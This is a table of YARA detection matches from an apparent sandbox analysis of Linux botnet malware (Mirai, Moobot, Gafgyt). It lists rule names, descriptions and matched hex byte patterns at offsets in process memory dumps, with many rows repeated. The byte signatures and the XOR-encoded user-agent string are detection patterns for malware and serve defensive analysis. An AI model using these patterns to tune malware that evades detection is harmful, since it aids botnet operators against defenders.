6410.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6410.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7254.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6447.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6724.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7020.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7353.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6586.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7253.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7253.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7253.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7253.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7253.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7253.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7163.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7163.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7163.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7163.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7163.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7163.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7239.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6277.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6277.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6277.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6277.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6277.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6277.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6217.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7399.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7399.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7399.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7399.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7399.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7399.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7167.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7167.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7167.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7167.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
